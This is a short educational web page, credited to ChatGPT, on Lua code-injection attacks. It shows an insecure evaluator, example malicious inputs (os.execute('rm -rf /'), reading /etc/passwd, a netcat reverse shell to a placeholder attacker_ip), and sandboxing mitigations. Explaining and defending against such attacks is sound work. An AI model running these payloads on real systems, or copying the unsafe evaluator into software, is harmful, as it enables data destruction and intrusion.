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How Cybersecurity actors can compromise Lua - Example Courtesy of ChatGPT

 

​Cybersecurity actors can compromise Lua code through code injection or sandbox escapes in improperly configured or insecure Lua environments. Lua is often embedded in applications like games, configuration systems, and servers, and attackers can exploit vulnerabilities to execute arbitrary code.​​​​​​

Exploiting a Lua Script Injection Vulnerability.  Example:

-- Example of an insecure Lua script evaluator
function execute_user_script(user_script)
    local result, error = load(user_script) -- Loads and executes the user-provided script
    if not result then
        print("Error loading script: " .. error)
        return
    end
    result() -- Executes the script
end

-- Example of accepting user input (in a real scenario, this could be a web form or a game console)
print("Enter your Lua script:")
local user_input = io.read("*all")
execute_user_script(user_input)
 

The Attack Works this way:

​​

  1. Malicious Input: An attacker provides the following Lua script as input

\

         lua

​

         os.execute("rm -rf /") -- On Linux, this deletes the entire filesystem

​

​

  1. Execution Flow:

    • The load function compiles the attacker’s script.

    • result() executes the compiled script, invoking os.execute to run the malicious command on the host system.

    • ​

  2. Result:

    • The command deletes critical files, effectively destroying the system.

Other Exploits

 

​

  1. Data Theft: Input:

    lua

    ​

    local file = io.open("/etc/passwd", "r")

       print(file:read("*all"))

       file:close()​

​

  • Reads sensitive files like /etc/passwd on Unix-based systems.

​

   2. Reverse Shell: Input:

 

   

        lua

​

         os.execute("nc -e /bin/sh attacker_ip 4444") -- Executes a reverse shell to the attacker's machine

​

   3. Environment Manipulation: Input:

​​

        lua

​

        _G["some_global_var"] = "Hacked" -- Overwrites critical global variables

​

​​​

​

​

​ Decreasing Your Vulnerability:

​

  1. Use Sandboxes: Limit the Lua environment to prevent access to dangerous functions like os.execute or io.open. Create a safe execution environment:

    lua

    ​

         function safe_execute_user_script(user_script)

                    local sandbox_env = {

                          Print = print,

                          pairs = pairs,

                          ipairs = ipairs,

                          tostring = tostring,

                          tonumber = tonumber,

                          math = math,

                          string = string,

                          table = table

 

                   }

                   local result, error = load(user_script, "user_script", "t", sandbox_env)

                    if not result then

                          print("Error loading script: " .. error)

                          return

                    end

                    result()

            end

​

​

​

​

    2. Restrict Input: Validate and sanitize user input to ensure it adheres to allowed operations.

    3. Disable Dangerous Functions: Remove risky functions from the global environment:

          lua

​

          os = nil

          io = nil

​

​

    4. Run in Isolated Environments: Execute Lua scripts in containers or virtual machines to minimize system-level impact.

​

    5. Logging and Monitoring: Monitor for abnormal Lua script behavior or malicious input patterns.

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